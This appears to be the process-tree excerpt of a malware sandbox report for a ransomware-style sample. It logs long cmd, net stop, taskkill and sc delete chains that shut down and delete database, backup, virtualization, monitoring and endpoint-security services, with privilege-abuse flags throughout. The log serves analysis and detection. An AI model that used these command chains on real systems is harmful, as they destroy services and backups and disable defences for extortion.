-
-
-
C:\Windows\SysWOW64\net.exenet stop "SAP Business One RSP Agent Service"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:308 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SAP Business One RSP Agent Service"5⤵PID:2648
-
-
-
C:\Windows\SysWOW64\net.exenet stop SAPB1iDIProxy4⤵PID:696
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SAPB1iDIProxy5⤵PID:4556
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SAPB1iDIProxy_Monitor"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4720 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SAPB1iDIProxy_Monitor"5⤵PID:4716
-
-
-
C:\Windows\SysWOW64\net.exenet stop SAPB1iEventSender4⤵PID:1296
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SAPB1iEventSender5⤵PID:1852
-
-
-
C:\Windows\SysWOW64\net.exenet stop SBOClientAgent4⤵PID:724
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SBOClientAgent5⤵PID:3632
-
-
-
C:\Windows\SysWOW64\net.exenet stop SBODI_Server4⤵PID:4616
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SBODI_Server5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4828
-
-
-
C:\Windows\SysWOW64\net.exenet stop SBOJobServiceBackEnd4⤵PID:2592
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SBOJobServiceBackEnd5⤵PID:5096
-
-
-
C:\Windows\SysWOW64\net.exenet stop SBOMail4⤵PID:1816
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SBOMail5⤵PID:4452
-
-
-
C:\Windows\SysWOW64\net.exenet stop SBOWFDataAccess4⤵PID:5028
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SBOWFDataAccess5⤵PID:3092
-
-
-
C:\Windows\SysWOW64\net.exenet stop SBOWorkflowEngine4⤵PID:2368
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SBOWorkflowEngine5⤵PID:1748
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & a & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete QcSoftService & @sc delete MSSQLServerOLAPService & @sc delete VMTools & @sc delete VGAuthService & @sc delete MSDTC & @sc delete TeamViewer & @sc delete ReportServer & @sc delete RabbitMQ & @sc delete "AHS SERVICE" & @sc delete "Sense Shield Service" & @sc delete SSMonitorService & @sc delete SSSyncService & @sc delete TPlusStdAppService1300 & @sc delete MSSQL$SQL2008 & @sc delete SQLAgent$SQL2008 & @sc delete TPlusStdTaskService1300 & @sc delete TPlusStdUpgradeService1300 & @sc delete VirboxWebServer & @sc delete jhi_service & @sc delete LMS & @sc delete "FontCache3.0.0.0" & @sc delete "OSP Service""3⤵PID:380
-
C:\Windows\SysWOW64\sc.exesc delete "XT800Service_Personal"4⤵PID:612
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLSERVERAGENT4⤵PID:3396
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLWriter4⤵PID:3260
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLBrowser4⤵PID:2528
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLFDLauncher4⤵PID:4332
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLSERVER4⤵PID:4628
-
-
C:\Windows\SysWOW64\sc.exesc delete QcSoftService4⤵PID:4780
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLServerOLAPService4⤵PID:4984
-
-
C:\Windows\SysWOW64\sc.exesc delete VMTools4⤵PID:3440
-
-
C:\Windows\SysWOW64\sc.exesc delete VGAuthService4⤵PID:4100
-
-
C:\Windows\SysWOW64\sc.exesc delete MSDTC4⤵PID:4728
-
-
C:\Windows\SysWOW64\sc.exesc delete TeamViewer4⤵PID:4644
-
-
C:\Windows\SysWOW64\sc.exesc delete ReportServer4⤵PID:3532
-
-
C:\Windows\SysWOW64\sc.exesc delete RabbitMQ4⤵PID:5052
-
-
C:\Windows\SysWOW64\sc.exesc delete "AHS SERVICE"4⤵PID:4640
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sense Shield Service"4⤵PID:4708
-
-
C:\Windows\SysWOW64\sc.exesc delete SSMonitorService4⤵PID:4748
-
-
C:\Windows\SysWOW64\sc.exesc delete SSSyncService4⤵PID:3644
-
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdAppService13004⤵PID:4964
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQL$SQL20084⤵PID:4504
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLAgent$SQL20084⤵PID:4392
-
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdTaskService13004⤵PID:4548
-
-
C:\Windows\SysWOW64\sc.exesc delete VirboxWebServer4⤵PID:4328
-
-
C:\Windows\SysWOW64\sc.exesc delete jhi_service4⤵PID:5064
-
-
C:\Windows\SysWOW64\sc.exesc delete LMS4⤵PID:4852
-
-
C:\Windows\SysWOW64\sc.exesc delete "FontCache3.0.0.0"4⤵PID:4364
-
-
C:\Windows\SysWOW64\sc.exesc delete "OSP Service"4⤵PID:3532
-
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdUpgradeService13004⤵PID:3644
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc delete TCPIDDAService & @sc delete WebAttendServer & @sc delete UIODetect & @sc delete "wanxiao-monitor" & @sc delete VMAuthdService & @sc delete VMUSBArbService & @sc delete VMwareHostd & @sc delete "vm-agent" & @sc delete VmAgentDaemon & @sc delete OpenSSHd & @sc delete eSightService & @sc delete apachezt & @sc delete Jenkins & @sc delete secbizsrv & @sc delete SQLTELEMETRY & @sc delete MSMQ & @sc delete smtpsvrJT & @sc delete zyb_sync & @sc delete 360EntHttpServer & @sc delete 360EntSvc & @sc delete 360EntClientSvc & @sc delete NFWebServer & @sc delete wampapache & @sc delete MSSEARCH & @sc delete msftesql & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl & @sc delete OracleJobSchedulerORCL & @sc delete OracleMTSRecoveryService"3⤵PID:1804
-
C:\Windows\SysWOW64\sc.exesc delete "DAService_TCP"4⤵PID:1080
-
-
C:\Windows\SysWOW64\sc.exesc delete "eCard-TTransServer"4⤵PID:288
-
-
C:\Windows\SysWOW64\sc.exesc delete EnergyDataService4⤵PID:4360
-
-
C:\Windows\SysWOW64\sc.exesc delete eCardMPService4⤵PID:1540
-
-
C:\Windows\SysWOW64\sc.exesc delete UI0Detect4⤵PID:4636
-
-
C:\Windows\SysWOW64\sc.exesc delete K3MobileService4⤵PID:4848
-
-
C:\Windows\SysWOW64\sc.exesc delete TCPIDDAService4⤵PID:5040
-
-
C:\Windows\SysWOW64\sc.exesc delete WebAttendServer4⤵PID:3416
-
-
C:\Windows\SysWOW64\sc.exesc delete UIODetect4⤵PID:4144
-
-
C:\Windows\SysWOW64\sc.exesc delete "wanxiao-monitor"4⤵PID:4624
-
-
C:\Windows\SysWOW64\sc.exesc delete VMAuthdService4⤵PID:1228
-
-
C:\Windows\SysWOW64\sc.exesc delete VMUSBArbService4⤵PID:5104
-
-
C:\Windows\SysWOW64\sc.exesc delete VMwareHostd4⤵PID:4140
-
-
C:\Windows\SysWOW64\sc.exesc delete "vm-agent"4⤵PID:2844
-
-
C:\Windows\SysWOW64\sc.exesc delete VmAgentDaemon4⤵PID:2704
-
-
C:\Windows\SysWOW64\sc.exesc delete eSightService4⤵PID:3100
-
-
C:\Windows\SysWOW64\sc.exesc delete apachezt4⤵PID:1212
-
-
C:\Windows\SysWOW64\sc.exesc delete OpenSSHd4⤵PID:4656
-
-
C:\Windows\SysWOW64\sc.exesc delete Jenkins4⤵PID:2000
-
-
C:\Windows\SysWOW64\sc.exesc delete secbizsrv4⤵PID:3892
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLTELEMETRY4⤵PID:4692
-
-
C:\Windows\SysWOW64\sc.exesc delete MSMQ4⤵PID:4836
-
-
C:\Windows\SysWOW64\sc.exesc delete smtpsvrJT4⤵PID:4648
-
-
C:\Windows\SysWOW64\sc.exesc delete zyb_sync4⤵PID:2732
-
-
C:\Windows\SysWOW64\sc.exesc delete 360EntHttpServer4⤵PID:4772
-
-
C:\Windows\SysWOW64\sc.exesc delete 360EntSvc4⤵PID:4656
-
-
C:\Windows\SysWOW64\sc.exesc delete 360EntClientSvc4⤵PID:308
-
-
C:\Windows\SysWOW64\sc.exesc delete wampapache4⤵PID:5084
-
-
C:\Windows\SysWOW64\sc.exesc delete NFWebServer4⤵PID:4940
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSEARCH4⤵PID:4476
-
-
C:\Windows\SysWOW64\sc.exesc delete msftesql4⤵PID:4544
-
-
C:\Windows\SysWOW64\sc.exesc delete "SyncBASE Service"4⤵PID:2704
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleDBConcoleorcl4⤵PID:4748
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL4⤵PID:4676
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleMTSRecoveryService4⤵PID:8
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete OracleVssWriterORCL & @sc delete JhTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete MCService & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port21160 & @sc delete "Flash Helper Service" & @sc delete "Kiwi Syslog Server" & @sc delete "UWS HiPriv Services" & net stop MSSQL$FE_EXPRESS"3⤵PID:2836
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1ClrAgent4⤵PID:4116
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1TNSListener4⤵PID:4436
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL4⤵PID:4704
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleServiceORCL4⤵PID:4868
-
-
C:\Windows\SysWOW64\sc.exesc delete aspnet_state @sc delete Redis4⤵PID:5072
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL4⤵PID:2000
-
-
C:\Windows\SysWOW64\sc.exesc delete JhTask4⤵PID:1752
-
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService4⤵PID:4656
-
-
C:\Windows\SysWOW64\sc.exesc delete XT800Service_Personal4⤵PID:5040
-
-
C:\Windows\SysWOW64\sc.exesc delete MCService4⤵PID:1296
-
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService4⤵PID:4104
-
-
C:\Windows\SysWOW64\sc.exesc delete allpass_redisservice_port211604⤵PID:4160
-
-
C:\Windows\SysWOW64\sc.exesc delete "Flash Helper Service"4⤵PID:4660
-
-
C:\Windows\SysWOW64\sc.exesc delete "Kiwi Syslog Server"4⤵
- Suspicious use of WriteProcessMemory
PID:2648
-
-
C:\Windows\SysWOW64\sc.exesc delete "UWS HiPriv Services"4⤵PID:4876
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$FE_EXPRESS4⤵PID:60
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$FE_EXPRESS5⤵PID:3992
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @taskkill /IM ReportingServicesService.exe /F & @sc delete "SQL Server Reporting Services" & @sc delete MSSQLFDLauncher & @taskkill /IM U8CEServer.exe /F & @taskkill /IM ServerNT.exe /F & @net stop UFNet & @taskkill /IM MessageNotification.exe /F & @taskkill /IM cbVSCService11.exe /F & @taskkill /IM cbService.exe /F & @sc delete cbVSCService11 & @sc delete CobianBackup11"3⤵PID:1168
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ReportingServicesService.exe /F4⤵PID:4488
-
-
C:\Windows\SysWOW64\sc.exesc delete "SQL Server Reporting Services"4⤵PID:5040
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLFDLauncher4⤵PID:4780
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM U8CEServer.exe /F4⤵PID:4112
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ServerNT.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4832
-
-
C:\Windows\SysWOW64\net.exenet stop UFNet4⤵PID:3612
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM MessageNotification.exe /F4⤵PID:5108
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cbVSCService11.exe /F4⤵PID:2816
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cbService.exe /F4⤵PID:4336
-
-
C:\Windows\SysWOW64\sc.exesc delete cbVSCService114⤵PID:4912
-
-
C:\Windows\SysWOW64\sc.exesc delete CobianBackup114⤵PID:4604
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete ProjectEventService16 & @sc delete ProjectQueueService16 & @sc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearch16 & @sc delete ProjectCalcService16 & @sc delete c2wts & @sc delete AppFabricCachingService & @sc delete ADWS & @sc delete MotionBoard57 & @sc delete MotionBoardRCService57 & @sc delete vsvnjobsvc & @sc delete VisualSVNServer & @sc delete "FlexNet Licensing Service 64" & @sc delete BestSyncSvc & @sc delete LPManager & @sc delete MediatekRegistryWriter & @sc delete RaAutoInstSrv_RT2870 & @sc delete CobianBackup10 & @sc delete SQLANYs_sem5 & @sc delete CASLicenceServer & @sc delete SQLService & @sc delete semwebsrv & @sc delete TbossSystem & @sc delete ErpEnvSvc & @sc delete Mysoft.Autoupgrade.DispatchService & @sc delete Mysoft.Autoupgrade.UpdateService & @sc delete Mysoft.Config.WindowsService & @sc delete Mysoft.DataCenterService & @sc delete Mysoft.SchedulingService & @sc delete Mysoft.Setup.InstallService & @sc delete MysoftUpdate & @sc delete edr_monitor & @sc delete abs_deployer & @sc delete savsvc & @sc delete ShareBoxMonitorService & @sc delete ShareBoxService & @sc delete CloudExchangeService & @sc delete "U8WorkerService2" & @sc delete CIS & @sc delete EASService & @sc delete KICkSvr & @sc delete "OSP Service" & @sc delete U8SmsSrv & @sc delete OfficeClearCache & @sc delete TurboCRM70 & @sc delete U8DispatchService & @sc delete U8EISService & @sc delete U8EncryptService & @sc delete U8GCService & @sc delete U8KeyManagePool & @sc delete "U8MPool" & @sc delete U8SCMPool & @sc delete U8SLReportService & @sc delete U8TaskService & @sc delete "U8WebPool" & @sc delete UFAllNet & @sc delete UFReportService & @sc delete UTUService & @sc delete "U8WorkerService1""3⤵PID:1808
-
C:\Windows\SysWOW64\sc.exesc delete MSCRMAsyncService4⤵PID:4500
-
-
C:\Windows\SysWOW64\sc.exesc delete REPLICA4⤵PID:4684
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCATS4⤵PID:4952
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCAVMCU4⤵PID:1296
-
-
C:\Windows\SysWOW64\sc.exesc delete RtcQms4⤵PID:1816
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCMEETINGMCU4⤵PID:4392
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCIMMCU4⤵PID:4692
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCDATAMCU4⤵PID:5116
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCCDR4⤵PID:5016
-
-
C:\Windows\SysWOW64\sc.exesc delete ProjectEventService164⤵PID:3316
-
-
C:\Windows\SysWOW64\sc.exesc delete ProjectQueueService164⤵PID:4628
-
-
C:\Windows\SysWOW64\sc.exesc delete SPAdminV44⤵PID:4796
-
-
C:\Windows\SysWOW64\sc.exesc delete SPSearchHostController4⤵PID:4952
-
-
C:\Windows\SysWOW64\sc.exesc delete SPTimerV44⤵PID:4984
-
-
C:\Windows\SysWOW64\sc.exesc delete SPTraceV44⤵PID:4224
-
-
C:\Windows\SysWOW64\sc.exesc delete ProjectCalcService164⤵PID:4656
-
-
C:\Windows\SysWOW64\sc.exesc delete OSearch164⤵PID:4432
-
-
C:\Windows\SysWOW64\sc.exesc delete AppFabricCachingService4⤵PID:2464
-
-
C:\Windows\SysWOW64\sc.exesc delete ADWS4⤵PID:3616
-
-
C:\Windows\SysWOW64\sc.exesc delete MotionBoardRCService574⤵PID:4732
-
-
C:\Windows\SysWOW64\sc.exesc delete MotionBoard574⤵PID:4392
-
-
C:\Windows\SysWOW64\sc.exesc delete vsvnjobsvc4⤵PID:4556
-
-
C:\Windows\SysWOW64\sc.exesc delete c2wts4⤵PID:4448
-
-
C:\Windows\SysWOW64\sc.exesc delete VisualSVNServer4⤵PID:4452
-
-
C:\Windows\SysWOW64\sc.exesc delete "FlexNet Licensing Service 64"4⤵PID:4976
-
-
C:\Windows\SysWOW64\sc.exesc delete BestSyncSvc4⤵PID:4612
-
-
C:\Windows\SysWOW64\sc.exesc delete LPManager4⤵PID:2204
-
-
C:\Windows\SysWOW64\sc.exesc delete MediatekRegistryWriter4⤵
- Suspicious use of AdjustPrivilegeToken
PID:60
-
-
C:\Windows\SysWOW64\sc.exesc delete RaAutoInstSrv_RT28704⤵PID:5068
-
-
C:\Windows\SysWOW64\sc.exesc delete CobianBackup104⤵PID:1620
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLANYs_sem54⤵PID:1856
-
-
C:\Windows\SysWOW64\sc.exesc delete CASLicenceServer4⤵PID:2832
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLService4⤵PID:4984
-
-
C:\Windows\SysWOW64\sc.exesc delete semwebsrv4⤵PID:1816
-
-
C:\Windows\SysWOW64\sc.exesc delete TbossSystem4⤵PID:5108
-
-
C:\Windows\SysWOW64\sc.exesc delete ErpEnvSvc4⤵PID:280
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Autoupgrade.DispatchService4⤵PID:1752
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Autoupgrade.UpdateService4⤵PID:768
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Config.WindowsService4⤵PID:4452
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.DataCenterService4⤵PID:4884
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.SchedulingService4⤵PID:4984
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Setup.InstallService4⤵PID:3512
-
-
C:\Windows\SysWOW64\sc.exesc delete MysoftUpdate4⤵PID:4448
-
-
C:\Windows\SysWOW64\sc.exesc delete edr_monitor4⤵PID:4516
-
-
C:\Windows\SysWOW64\sc.exesc delete abs_deployer4⤵PID:2320
-
-
C:\Windows\SysWOW64\sc.exesc delete savsvc4⤵PID:5004
-
-
C:\Windows\SysWOW64\sc.exesc delete ShareBoxMonitorService4⤵PID:4776
-
-
C:\Windows\SysWOW64\sc.exesc delete ShareBoxService4⤵PID:4376
-
-
C:\Windows\SysWOW64\sc.exesc delete CloudExchangeService4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3532
-
-
C:\Windows\SysWOW64\sc.exesc delete "U8WorkerService2"4⤵PID:296
-
-
C:\Windows\SysWOW64\sc.exesc delete EASService4⤵PID:3512
-
-
C:\Windows\SysWOW64\sc.exesc delete CIS4⤵PID:4872
-
-
C:\Windows\SysWOW64\sc.exesc delete KICkSvr4⤵PID:4448
-
-
C:\Windows\SysWOW64\sc.exesc delete "OSP Service"4⤵PID:4564
-
-
C:\Windows\SysWOW64\sc.exesc delete U8SmsSrv4⤵PID:4660
-
-
C:\Windows\SysWOW64\sc.exesc delete OfficeClearCache4⤵PID:4656
-
-
C:\Windows\SysWOW64\sc.exesc delete TurboCRM704⤵PID:1968
-
-
C:\Windows\SysWOW64\sc.exesc delete U8DispatchService4⤵PID:4696
-
-
C:\Windows\SysWOW64\sc.exesc delete U8EISService4⤵PID:4632
-
-
C:\Windows\SysWOW64\sc.exesc delete U8EncryptService4⤵PID:4704
-
-
C:\Windows\SysWOW64\sc.exesc delete U8GCService4⤵PID:4548
-
-
C:\Windows\SysWOW64\sc.exesc delete U8KeyManagePool4⤵PID:308
-
-
C:\Windows\SysWOW64\sc.exesc delete "U8MPool"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4460
-
-
C:\Windows\SysWOW64\sc.exesc delete U8SCMPool4⤵PID:4560
-
-
C:\Windows\SysWOW64\sc.exesc delete U8SLReportService4⤵PID:2184
-
-
C:\Windows\SysWOW64\sc.exesc delete U8TaskService4⤵PID:2320
-
-
C:\Windows\SysWOW64\sc.exesc delete "U8WebPool"4⤵PID:5096
-
-
C:\Windows\SysWOW64\sc.exesc delete UFAllNet4⤵PID:4680
-
-
C:\Windows\SysWOW64\sc.exesc delete UFReportService4⤵PID:4948
-
-
C:\Windows\SysWOW64\sc.exesc delete UTUService4⤵PID:4556
-
-
C:\Windows\SysWOW64\sc.exesc delete "U8WorkerService1"4⤵PID:3644
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client Guard" & @sc delete "ZTE USBIP Client" & @sc delete "ZTE FileTranS" & @sc delete wwbizsrv & @sc delete qemu-ga & @sc delete AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbasesrv & @sc delete MMRHookService & @sc delete OracleJobSchedulerORCL & @sc delete IpOverUsbSvc & @sc delete MsDtsServer100 & @sc delete KuaiYunTools & @sc delete KMSELDI & @sc delete btPanel & @sc delete Protect_2345Explorer & @sc delete 2345PicSvc & @sc delete vmware-converter-agent & @sc delete vmware-converter-server & @sc delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @sc delete GPSDaemon & @sc delete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc delete GPSMediaSvr & @sc delete GPSLoginSvr & @sc delete GPSTomcat6 & @sc delete GPSMysqld & @sc delete GPSFtpd & @sc delete "Zabbix Agent" & @sc delete BackupExecAgentAccelerator & @sc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & @sc delete BackupExecManagementService & @sc delete MDM & @sc delete TxQBService & @sc delete Gailun_Downloader & @sc delete RemoteAssistService & @sc delete YunService & @sc delete Serv-U & @sc delete "EasyFZS Server" & @sc delete "Rpc Monitor" & @sc delete OpenFastAssist & @sc delete "Nuo Update Monitor" & @sc delete "Daemon Service" & @sc delete asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NscAuthService & @sc delete MSCRMUnzipService & @sc delete MSCRMAsyncService$maintenance"3⤵PID:436
-
C:\Windows\SysWOW64\sc.exesc delete "UWS LoPriv Services"4⤵PID:4480
-
-
C:\Windows\SysWOW64\sc.exesc delete ftnlsv34⤵PID:4724
-
-
C:\Windows\SysWOW64\sc.exesc delete ftnlses34⤵PID:4916
-
-
C:\Windows\SysWOW64\sc.exesc delete FxService4⤵PID:5116
-
-
C:\Windows\SysWOW64\sc.exesc delete "UtilDev Web Server Pro"4⤵PID:4140
-
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdwks4⤵PID:280
-
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdsrv4⤵PID:4604
-
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client Guard"4⤵PID:4796
-
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE FileTranS"4⤵PID:4504
-
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client"4⤵PID:4888
-
-
C:\Windows\SysWOW64\sc.exesc delete wwbizsrv4⤵PID:1912
-
-
C:\Windows\SysWOW64\sc.exesc delete qemu-ga4⤵PID:4604
-
-
C:\Windows\SysWOW64\sc.exesc delete AlibabaProtect4⤵PID:4780
-
-
C:\Windows\SysWOW64\sc.exesc delete ZTEVdservice4⤵PID:5108
-
-
C:\Windows\SysWOW64\sc.exesc delete kbasesrv4⤵PID:4104
-
-
C:\Windows\SysWOW64\sc.exesc delete MMRHookService4⤵PID:4744
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL4⤵PID:4456
-
-
C:\Windows\SysWOW64\sc.exesc delete MsDtsServer1004⤵PID:4224
-
-
C:\Windows\SysWOW64\sc.exesc delete KuaiYunTools4⤵PID:4860
-
-
C:\Windows\SysWOW64\sc.exesc delete btPanel4⤵PID:1712
-
-
C:\Windows\SysWOW64\sc.exesc delete KMSELDI4⤵PID:4216
-
-
C:\Windows\SysWOW64\sc.exesc delete Protect_2345Explorer4⤵PID:4508
-
-
C:\Windows\SysWOW64\sc.exesc delete IpOverUsbSvc4⤵PID:4900
-
-
C:\Windows\SysWOW64\sc.exesc delete 2345PicSvc4⤵PID:4836
-
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-agent4⤵PID:8
-
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-server4⤵PID:1816
-
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-worker4⤵PID:5108
-
-
C:\Windows\SysWOW64\sc.exesc delete QQCertificateService4⤵PID:4744
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleRemExecService4⤵PID:4576
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSUserSvr4⤵PID:3984
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSDaemon4⤵PID:4452
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSDownSvr4⤵PID:4912
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSStorageSvr4⤵PID:4760
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "msftesql$SQLEXPRESS"5⤵PID:4564
-
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSDataProcSvr4⤵PID:4516
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSGatewaySvr4⤵PID:5016
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSMediaSvr4⤵PID:4556
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSLoginSvr4⤵PID:1712
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSTomcat64⤵PID:284
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSMysqld4⤵PID:4296
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSFtpd4⤵PID:4528
-
-
C:\Windows\SysWOW64\sc.exesc delete "Zabbix Agent"4⤵PID:4828
-
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecAgentAccelerator4⤵PID:1816
-
-
C:\Windows\SysWOW64\sc.exesc delete bedbg4⤵PID:5076
-
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecDeviceMediaService4⤵PID:1496
-
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecRPCService4⤵PID:4948
-
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecAgentBrowser4⤵PID:2744
-
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecJobEngine4⤵PID:3416
-
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecManagementService4⤵PID:2504
-
-
C:\Windows\SysWOW64\sc.exesc delete MDM4⤵PID:2104
-
-
C:\Windows\SysWOW64\sc.exesc delete TxQBService4⤵PID:4736
-
-
C:\Windows\SysWOW64\sc.exesc delete Gailun_Downloader4⤵PID:3612
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UFNet5⤵PID:4644
-
-
-
C:\Windows\SysWOW64\sc.exesc delete RemoteAssistService4⤵PID:2184
-
-
C:\Windows\SysWOW64\sc.exesc delete YunService4⤵PID:4488
-
-
C:\Windows\SysWOW64\sc.exesc delete Serv-U4⤵PID:4380
-
-
C:\Windows\SysWOW64\sc.exesc delete "EasyFZS Server"4⤵PID:768
-
-
C:\Windows\SysWOW64\sc.exesc delete "Rpc Monitor"4⤵PID:1476
-
-
C:\Windows\SysWOW64\sc.exesc delete OpenFastAssist4⤵PID:4148
-
-
C:\Windows\SysWOW64\sc.exesc delete "Nuo Update Monitor"4⤵PID:3008
-
-
C:\Windows\SysWOW64\sc.exesc delete "Daemon Service"4⤵PID:4112
-
-
C:\Windows\SysWOW64\sc.exesc delete asComSvc4⤵PID:1380
-
-
C:\Windows\SysWOW64\sc.exesc delete OfficeUpdateService4⤵PID:4808
-
-
C:\Windows\SysWOW64\sc.exesc delete RtcSrv4⤵PID:4716
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCASMCU4⤵PID:4444
-
-
C:\Windows\SysWOW64\sc.exesc delete FTA4⤵PID:4248
-
-
C:\Windows\SysWOW64\sc.exesc delete MASTER4⤵PID:4660
-
-
